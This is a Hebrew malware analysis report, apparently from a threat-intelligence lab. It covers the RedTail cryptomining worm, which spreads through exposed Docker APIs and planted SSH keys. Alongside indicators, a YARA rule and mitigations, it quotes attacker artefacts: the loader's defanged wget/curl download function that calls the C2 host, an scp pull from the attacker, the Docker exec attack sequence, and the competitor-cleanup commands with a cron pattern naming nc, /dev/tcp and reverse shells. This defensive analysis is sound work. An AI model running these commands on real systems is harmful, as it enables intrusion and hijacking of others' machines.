עמוד זה הוא תרגום. הגרסה האנגלית היא הנוסח המחייב. לקריאה באנגלית

malware · cryptomining · redtail · docker · linux · honeypot · worm

בתוך מבצע RedTail: התפשטות עצמית דרך ממשקי Docker API חשופים

מלכודות הדבש של Kinryū Labs תפסו את כורה המטבעות RedTail מתפשט דרך ממשקי Docker Engine API ללא אימות ודרך מפתחות SSH מושתלים. הדוח מתעד מופע עדכני שנלכד במלואו, לרבות הלודר, סקריפט הסרת המתחרים, הכורה והאינדיקטורים החיים.

מאת Davis Zheng·

TLP:CLEAR. מאושר לפרסום פומבי. נלכד על ידי מערך חיישני מלכודות הדבש של Kinryū Labs. האינדיקטורים שלהלן מנוטרלים.

תקציר מנהלים

  • 2375Docker API חשוף, נתיב הכניסה
  • 4ארכיטקטורות מעבד שנתקפו
  • ~21sמשך הפריצה המלאה של התוקף
  • מתפשט כתולעתלקוח SSH מובנה בתוך הכורה

בתחילת יוני 2026 ועד אמצעו לכדה רשת מלכודות הדבש שלנו תולעת המתפשטת דרך ממשקי Docker Engine API החשופים לאינטרנט ב-TCP/2375 ומשתילה את RedTail, כורה Monero מבוסס XMRig הפעיל מאז סוף 2023. התוקף מונה את הקונטיינרים הפעילים דרך ה-Docker API הפתוח, מריץ פקודות בתוך כל אחד מהם, משתיל מפתח SSH פרטי לצורך שרידות ותנועה רוחבית, ואז מושך לודר רב-ארכיטקטורה. הלודר מתקין כורה הנושא עמו לקוח SSH משלו לצורך התפשטות וכן רכיב רחרוח מבוסס libpcap לאיתור מטרות חדשות.

המטען הוא RedTail ללא ספק. RedTail מוכר בעיקר בהגעתו דרך ניצול חולשות ביישומי ווב (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link), וגם לשימושו בממשקי Docker API חשופים יש דיווח קודם. הדוח הזה מוסיף מופע עדכני שנלכד במלואו של אותה הפצה דרך ה-Docker API: ה-C2 והאינדיקטורים החיים, השתלת מפתח ה-SSH המאפשרת למארח לשכפל את עצמו, וסקריפט הסרת המתחרים שדוחות קודמים הצביעו עליו בלי לשחזר אותו.

הכורה נושא תצורת ריצה מוצפנת וללא ארנק מוטמע, ולכן לא ניתן לחלץ מהדגימה כתובת Monero. שחזורה מחייב הרצה חיה עם לכידת תעבורה.

ממצאים עיקריים
  • המטען הוא RedTail (ודאות גבוהה). המחרוזת libredtail evbuffer_tls, הממצא .redtail, ברירת המחדל redtail בלודר, והבנייה עם תצורה מוצפנת וללא ארנק, כולם תואמים לגרסאות המשפחה שלאחר 2024.
  • המבצע בעל יכולת התפשטות כתולעת (ודאות גבוהה). הכלים מול ה-Docker API, המפתח המושתל ולקוח ה-SSH המובנה בכורה הם כל מה שמארח שזה עתה נדבק זקוק לו כדי לאתר בעצמו את הקורבן הבא.
  • המפעיל פועל למטרות רווח (ודאות בינונית). גניבת אישורי הגישה והרחרוח נראים כמשרתים את ההתפשטות ולא מטרה נפרדת של גניבת מידע.
  • לווקטור ה-Docker API יש דיווח קודם בהקשר של RedTail והוא עדיין עובד היטב. סוקט חשוף יחיד ב-TCP/2375 מעניק לתוקף הרצת קוד כ-root בתוך כל קונטיינר במארח.

שרשרת התקיפה

[0] Reconnaissance     Internet scan for exposed Docker API :2375
        │
[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)
        │
[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)
        │
[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
        │
[4] Ingress (Stage 2)  Pull loader:  scp dlr@217.60.195[.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)
        │
[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal
        │
[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
        │
[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)
        │
[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

שלב 1: גישה ראשונית דרך ה-Docker API

התוקף מכוון למופעי Docker Engine החושפים את ה-REST API ללא אימות ב-TCP/2375. הרצף המלא של התוקף ארך כ-21 שניות:

  1. GET /version ו-GET /containers/json לטביעת אצבע של המנוע ולמניית הקונטיינרים.
  2. POST /containers/{id}/exec ולאחריו POST /exec/{id}/start מול כל קונטיינר פעיל.
  3. מטען shell בתוך הקונטיינר הכותב את מפתח ה-SSH של התוקף ומושך את הלודר.

השלב האחרון הוא זה שהופך את זה מכורה חד-פעמי לתולעת. מארח שנדבק ואשר במקרה חושף את ה-Docker API שלו עצמו יריץ את אותה שגרת מנייה והרצה מול קבוצת הקורבנות הבאה.

מפתח ה-SSH המושתל (שרידות ותנועה רוחבית)

מאפייןערך
סוגמפתח פרטי OpenSSH ed25519
הערהdlr@sftp
טביעת אצבע SHA256 של המפתח הציבוריSHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
מקור המשיכה (ערוץ SCP)dlr@217.60.195[.]113

איננו מפרסמים את המפתח הפרטי. השתמשו בטביעת האצבע שלמעלה כדי לצוד אותו: בדקו את authorized_keys ואת ~/.ssh בכל המערך.

שלב 2: הלודר /sh

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 סוג: סקריפט shell תקני POSIX

לודר קטן ונייד, ומוקפד.

שם קובץ מוסתר אקראי. הפונקציה get_random_string() מרכיבה שם אלפאנומרי באורך 4 עד 35 תווים, מנסה תחילה /dev/urandom, אחר כך openssl, ואז $RANDOM, ונסוגה למחרוזת המילולית redtail אם כל אלה נכשלים. ברירת מחדל זו היא סימן זיהוי נוח למשפחה. הכורה נוחת בשם .<random> עם נקודה מובילה כדי להישאר מחוץ ל-ls רגיל. ב-VirusTotal הדגימה מופיעה תחת אחד מהשמות האלה, .mn6VTucEsFZY1PdSC2QAq.

פונקציית עזר להורדה. dlr() מכבה אימות TLS, מכיוון שה-C2 חתום עצמית, ונסוגה מ-wget אל curl:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

היערכות מודעת ל-noexec. הלודר קורא את /proc/mounts, פוסל כל עיגון noexec, ומריץ find / -user $(whoami) -perm -u=rwx כדי למצוא מקום שבו יוכל גם לכתוב וגם להריץ. הוא בודק כתיבה בכל מועמד באמצעות dd או truncate בגודל 2 MB לפני השימוש, וזו טרחה גדולה יותר ממה שרוב הלודרים משקיעים: הגישה הרווחת היא לכתוב אל /tmp ולקוות לטוב.

ניקוי מתחרים. הוא מושך ומריץ את clean (dlr clean; chmod +x clean; sh clean; rm -rf clean), ואז מוחק אותו. גם את הסקריפט הזה השגנו, והוא מפורק להלן. הוא פוגע במנגנוני שרידות והיערכות של יריבים ומותיר את התהליכים הרצים בשקט.

סידור אחריו. הוא מוחק את .redtail ואת קובץ .<random> הקודם לפני התקנת החדש.

בחירת ארכיטקטורה. מתג uname -mp בוחר את הבנייה:

התאמת ARCHמוריד
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
לא מזוההמנסה את כל הארבעה בכוח גס ומריץ כל אחד

הרצה. ./.<random> $1, תוך העברת ה-$1 המקורי של הלודר, ש-RedTail מתייחס אליו כאל תג מבצע או תג ווקטור.

סקריפט הסרת המתחרים clean

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 סוג: סקריפט Bash (795 בתים)

לכדנו את clean בפגיעה מאוחרת יותר במלכודות הדבש. כל תפקידו הוא לפנות מהמכונה נוזקות אחרות כדי ש-RedTail יקבל אותה לעצמו:

  • ניקוי cron. עבור כל crontab של משתמש (/var/spool/cron/crontabs/*), crontab מערכתי (/etc/crontab, /etc/crontabs), ספריית drop-in (/etc/cron.{hourly,daily,weekly,monthly,d}) ו-/etc/anacrontab, הוא מסיר את סיבית ה-immutable באמצעות chattr -ia (נוזקות יריבות מגדירות אותה כדי להגן על שורות ה-cron שלהן) ואז מוחק כל שורה התואמת לתבנית של הדבקה חוזרת:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    זה שולף את מנגנוני ההורדה וה-reverse shells של קבוצות אחרות ומשאיר את רשומות ה-cron הלגיטימיות במקומן.

  • חיסול יריב נקוב בשם. הוא מנטרל ועוצר את שירות ה-systemd בשם c3pool_miner, ירייה ישירה לעבר כורה c3pool.

  • מחיקת אזורי היערכות. הוא מרוקן את /tmp, /var/tmp ו-/dev/shm באמצעות rm -rf, ומפנה מטענים של מתחרים ואת שטח העבודה המשותף להם.

הדילוג על התהליכים הרצים הוא פשרה. חיסול המוני מפנה את המעבד מיד אך הוא בדיוק סוג האירוע שמארח מנוטר מתריע עליו, ואילו הסרת שורות ה-cron וריקון ספריות ההיערכות מוחקים את מנגנון ההדבקה החוזרת של היריב, כך שהפינוי מחזיק מעמד גם אחרי האתחול שאחרת היה מבטל אותו.

שלב 3: כורה RedTail (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b גודל: 1,880,264 בתים (1.79 MB) פורמט: ELF 64-bit LSB EXEC (מקושר סטטית, non-PIE), x86-64, נקודת כניסה 0xaa9e18 אורז: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 זדוני, ציון קהילה −60, נצפה לראשונה ~2026-06-05 תוויות איום: trojan.usblem26/abminer; משפחות usblem26 / abminer / gen3

אריזה ואנטי-ניתוח

  • UPX 5.02 עם כותרת שלמה. upx -d פורק אותו בנקל ל-ELF מקושר סטטית בגודל כ-5 MB.
  • הרצה ללא קובץ. תובנות הקוד של VirusTotal מראות שימוש ב-memfd_create (קריאת מערכת 0x13f) להרצת המטען היישר מתוך מתאר קובץ אנונימי בזיכרון, לצד הרצה מחדש של /proc/self/exe והיערכות ב-/dev/shm. דבר אינו נוגע בדיסק, ולכן אנטי-וירוס מבוסס דיסק לעולם אינו מקבל הזדמנות.
  • זיוף שם תהליך (sets-process-name) כדי להתמזג עם תהליכים רגילים.
  • התחמקות מדיבאגר (detect-debug-environment). דוחות פומביים על RedTail מתארים ניפוי עצמי באמצעות ptrace והריגה אקטיבית של GDB על ידי הבינארי.
  • הערה בנוגע לאנטי-וירוס במארח. Microsoft Defender מסמן את ה-ELF הארוז כ-Trojan:Linux/Multiverze!rfn וחוסם את קריאתו מהדיסק, ולכן טריאז’ סטטי חייב להתבצע במכונה מבודדת או בזיכרון.

רכיבים מאומתים (מתוך מחרוזות .rodata לאחר פריקת האריזה)

ליבת הכרייה של XMRig

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail, מחסנית התקשורת המגדירה את המשפחה

libredtail evbuffer_tls
Connection  keepalive  User-Agent

libevent מותאם בתוספת לקוח HTTP עם TLS. המחרוזת libredtail evbuffer_tls היא מה שמבדיל בין RedTail לבין בניית XMRig סטנדרטית.

לקוח SSH מוטמע (תנועה רוחבית וגניבת אישורים)

ssh-userauth   ssh-ed25519   sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com   ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

הכורה נושא לקוח SSH שלם. זהו המנוע שמאחורי השתלת מפתח dlr@sftp ומאחורי ההתפשטות. הבינארי של הכורה מטפל בעצמו בגניבת האישורים ובהתפשטות ה-SSH. שום חלק מזה אינו שוכן בדרופר.

libpcap מוטמע (רחרוח רשת)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

לכידת חבילות במארח, דבר המתיישב עם גילוי מקומי של מארחים ואישורי גישה.

טבלאות קידוד. מופיעים גם האלפבית הסטנדרטי של Base64 וגם הווריאנט הבטוח ל-URL (...+/ ו-...-_), המשמשים את שגרת פענוח התצורה.

התצורה ופער הייחוס

חיפשנו בבינארי הפרוק ביסודיות כתובות IP, כתובות URL, stratum, pool ותבניות של כתובות Monero. ה-pools היחידים הקיימים בו הם ה-pools המובנים לתרומות המפתחים של XMRig (donate.ssl.xmrig.com, donate.v2.xmrig.com), שכל בניית XMRig נושאת ושאינם בשליטת המפעיל. אין בטקסט גלוי pool, proxy או ארנק של התוקף.

זה מכוון, וזה תואם לכיוון שאליו הלך RedTail מאז 2024. תצורת הכרייה מוצפנת ומפוענחת רק בזיכרון בזמן ריצה, ובניות עדכניות אינן נושאות ארנק כלל, מה שמצביע על pool פרטי או על pool-proxy במקומו. לכן:

  • איננו יכולים לחלץ ארנק Monero מהדגימה הזו.
  • ה-pool-proxy יתגלה רק בהרצה חיה עם סינק רשת (ראו מתודולוגיה).

ייחוס

זהו RedTail, המוכר גם ככורה .redtail, כורה Monero נגזר XMRig שתועד לראשונה סביב סוף 2023 ותחילת 2024. מה שמתיישב:

  • המחרוזת libredtail evbuffer_tls, הייחודית לו.
  • הממצא .redtail וברירת המחדל redtail בלודר.
  • הבנייה עם תצורה מוצפנת וללא ארנק, הלודר הרב-ארכיטקטורי, סקריפט המתחרים clean וגניבת אישורי הגישה ב-SSH, שכולם מאפיינים ידועים של RedTail.

לשם השוואה, ווקטורי ההפצה המתועדים כבר עבור המשפחה הם CVE-2024-3400 (PAN-OS), CVE-2023-46805 ו-CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) ו-CVE-2023-1389 (TP-Link). VirusTotal מתייג את הדגימה הזו גם ב-CVE-2021-41773 (מעבר נתיבים ל-RCE ב-Apache 2.4.49/2.4.50) וב-CVE-2015-2808 (RC4, “Bar Mitzvah”).

לשימושו של RedTail בממשקי Docker API חשופים יש דיווח קודם, ולכן הווקטור עצמו ישן. מה שהיה דל באותו דיווח קודם הוא אמצע השרשרת, ושם בדיוק ממוקמת הלכידה הזו: סקריפט clean ששוחזר ולא הוסק, ה-C2 וגיבובי המטען שהיו חיים בעת האיסוף, ומפתח dlr@sftp המושתל שסוגר את המעגל חזרה לשלב 1.

מבט קדימה

קבוצות קריפטוג’קינג מחליפות את דרך הפריצה שלהן הרבה יותר מאשר את המטען, והלודר המודולרי של RedTail מקל על החלפת שיטת כניסה אחת באחרת. Docker API פתוח הוא החלפה זולה לביצוע. אין אקספלויט לתחזק ואין מרוץ מול מחזורי טלאים, הגישה שהוא מעניק היא root בתוך כל קונטיינר במכונה, והיצע פורט 2375 החשוף לאינטרנט לא אזל. RedTail כבר היה כאן קודם.

אנו סבורים שסביר שהמפעיל ישמר את ווקטור ה-Docker API לצד ניצול חולשות הווב ולא יחליף ביניהם, מה שפשוט מעניק לו יותר מארחים נגישים. אם אתם מפעילים קונטיינרים, התייחסו ל-Docker API חשוף כאילו הוא יושב על האינטרנט הפומבי, כי למעשה כך הוא.

אינדיקטורים לפריצה

רשת

אינדיקטורהקשר
14.46.136[.]77מארח C2 / מטענים (HTTPS, חתום עצמית). מגיש את /sh, /clean, /x86_64, /i686, /aarch64, /arm7. מסנן תעבורה יוצאת של ספקי ענן לפי ASN.
hxxps://14.46.136[.]77/shכתובת הלודר של שלב 2
hxxps://14.46.136[.]77/cleanסקריפט הסרת המתחרים (מחיקת cron / אזורי היערכות)
217.60.195[.]113מקור המפתח / המטען ב-SCP (dlr@217.60.195[.]113)

קבצים (SHA256 / MD5)

קובץSHA256MD5
sh (לודר)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean (מחיקת מתחרים)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (כורה)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

ממצאים במארח

אינדיקטורהקשר
.redtailממצא של הכורה / סמן להדבקה קודמת
.<random alnum> לדוגמה .mn6VTucEsFZY1PdSC2QAqשם קובץ מוסתר של הכורה (נקודה מובילה + אקראי)
הערת מפתח SSH dlr@sftpהמפתח המושתל
טביעת אצבע של מפתח ציבורי SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vgטביעת האצבע של המפתח המושתל; צודו אותה ב-authorized_keys
קבצים שהוצבו ב-/dev/shm, /var/tmp, /tmp, או בכל ספריית rwx הניתנת לכתיבה על ידי המשתמשמיקומי היערכות

התנהגותי

  • memfd_create (קריאת מערכת 0x13f) המריצה ELF ממתאר קובץ אנונימי.
  • תהליך הקורא את /proc/mounts ולאחר מכן מריץ find / -perm -u=rwx (היערכות מודעת ל-noexec).
  • זיוף שם תהליך; התחמקות מדיבאגר מבוססת ptrace.
  • תעבורה יוצאת stratum+tcp:// / stratum+ssl:// אל מארח לא סטנדרטי.
  • systemctl disable c3pool_miner ו-systemctl stop c3pool_miner (פינוי מתחרה).
  • chattr -ia מול נתיבי crontab ומיד אחריו מחיקה המונית של שורות wget / curl / reverse shell מתוך cron.
  • rm -rf של /tmp/*, /var/tmp/* ו-/dev/shm/* (מחיקת אזורי ההיערכות של המתחרים).

זיהוי

זיהוי במארח (לוגיקת תהליכים / EDR)

התריעו על תהליך אשר, ברצף:

  1. קורא את /proc/mounts, ואז מריץ find / ... -perm -u=rwx ..., וגם
  2. כותב קובץ בעל שם אקראי עם נקודה מובילה לספרייה הניתנת לכתיבה לכול, וגם
  3. קורא ל-memfd_create ולאחריו מריץ מתוך מתאר הקובץ שהתקבל.

כל אחד מאלה בנפרד הוא סימן חלש. שלושתם יחד הם אות חזק ללודר הזה.

חתימת YARA מוצעת (בינארי לאחר פריקה)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

הכלל הזה מתאים לבינארי לאחר פריקת UPX. עבור הדגימה הארוזה, הסתמכו על חתימת UPX, על גודל הקובץ (‏~1.79 MB) ועל גיבובי ה-VirusTotal שלמעלה.

זיהוי ברשת

  • חסמו והתריעו על תעבורה יוצאת אל 14.46.136[.]77 ואל 217.60.195[.]113.
  • התריעו על stratum+tcp / stratum+ssl אל כל יעד שאינו ברשימת ההיתר.
  • התריעו על בקשות GET ב-HTTP(S) לנתיבים בני אות בודדת או על שם ארכיטקטורה (/sh, /x86_64, /aarch64, /arm7).

צעדי מיגון

  1. אל תחשפו את ה-Docker API (2375/2376) לרשתות לא מהימנות. קשרו אותו ל-localhost או לסוקט מוגן ודרשו אימות באמצעות תעודת לקוח TLS. בקרה אחת זו שוברת את שלב הגישה הראשונית כליל.
  2. בדקו את ~/.ssh/authorized_keys בכל המערך לאיתור מפתח dlr@sftp וטביעת האצבע שלו.
  3. סננו תעבורה יוצאת ונטרו אחר תעבורת stratum ואחר כתובות ה-C2 שלמעלה.
  4. עגנו את /tmp, /var/tmp ו-/dev/shm עם noexec היכן שניתן. זה מעלה את הרף, אם כי הלודר הזה מודע ל-noexec ויחפש ספרייה אחרת הניתנת לכתיבה ולהרצה.
  5. הקשיחו קונטיינרים: הסירו יכולות שאינכם זקוקים להן, השתמשו במערכות קבצים שורש לקריאה בלבד, והריצו בהרשאות מינימליות כך ש-exec פנימה לא יעניק לתוקף סביבת הרצה שמישה.

מיפוי MITRE ATT&CK

טקטיקהטכניקה
Initial AccessT1190 Exploit Public-Facing Application (Docker API)
ExecutionT1609 Container Administration Command; T1059.004 Unix Shell
PersistenceT1098.004 SSH Authorized Keys
Defense EvasionT1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion
Credential AccessT1552.004 Private Keys; T1040 Network Sniffing
DiscoveryT1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery
Lateral MovementT1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and ControlT1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer
ImpactT1496 Resource Hijacking (כריית מטבעות)

מתודולוגיה והערות אנליסט

  • משכנו את שלב 2 ואת שלב 3 מה-C2 החי דרך HTTPS. הכתובת 14.46.136[.]77 מגיעה ל-timeout עבור מרחבי כתובות של ספקי ענן גדולים אך מגישה תוכן לטווחים ביתיים, כלומר מסנן ASN או מסנן גאוגרפי על תעבורה יוצאת ששובר ארגזי חול אוטומטיים בענן.
  • ה-ELF הארוז מפעיל את Microsoft Defender (Trojan:Linux/Multiverze!rfn) ואף אינו ניתן לקריאה מהדיסק במארח Windows מוגן, ולכן הטריאז’ הראשוני התבצע בזיכרון, תוך פריקת הארכיון בתוך תהליך Python מבלי לכתוב אי פעם את ה-ELF הגולמי החוצה.
  • פריקת האריזה נעשתה באמצעות upx -d בתוך FLARE-VM מבודדת. ניתחנו את הבינארי הפרוק סטטית, לפי מחרוזות ומבנה, מבלי להריץ אותו.
  • לא הרצנו את הכורה, ולכן ה-pool-proxy ותצורת ה-Monero המפוענחים בזמן ריצה אינם בדוח הזה.
  • שחזרנו את המפתח הפרטי של התוקף מתוך הלכידה ואיננו מפרסמים אותו. רק טביעת האצבע של המפתח הציבורי (שלמעלה) מופיעה באינדיקטורים, וזה מה שמגנים זקוקים לו כדי לצוד את מפתח dlr@sftp המושתל ב-authorized_keys.

המשך מומלץ (להשגת האינדיקטור של ה-pool-proxy)

כדי להשיג את ה-pool-proxy, הריצו את הבינארי הפרוק על מכונת Linux מבודדת (REMnux מתאימה) עם:

  • סינק רשת (INetSim, או fakedns בתוספת TCP catch-all) כדי למשוך את החיבור החוצה,
  • tcpdump -i any -w redtail.pcap כדי ללכוד את ה-CONNECT וההתחברות ב-stratum, וכן
  • strace -f כדי לתפוס את התצורה הגלויה שהכורה מפענח ממש לפני ה-connect() הראשון שלו, שלרוב קריאה גם כאשר TLS מסתיר אותה על גבי הקו.

המארח והפורט הללו הם האינדיקטור האחרון שעדיין חסר במבצע הזה.

דגימות

הדגימות (הלודר, סקריפט clean והכורה הארוז) זמינות לחוקרים ולמגנים אחרים לפי בקשה. שלחו דוא”ל אל contact@kinryu.sh עם הערה קצרה על זהותכם ועל מטרת השימוש.

Sample
RedTail · 59c29436755b0778…
How to cite
Kinryū Labs (2026). בתוך מבצע RedTail: התפשטות עצמית דרך ממשקי Docker API חשופים. https://kinryu.sh/he/reports/redtail-cryptominer-exposed-docker-api/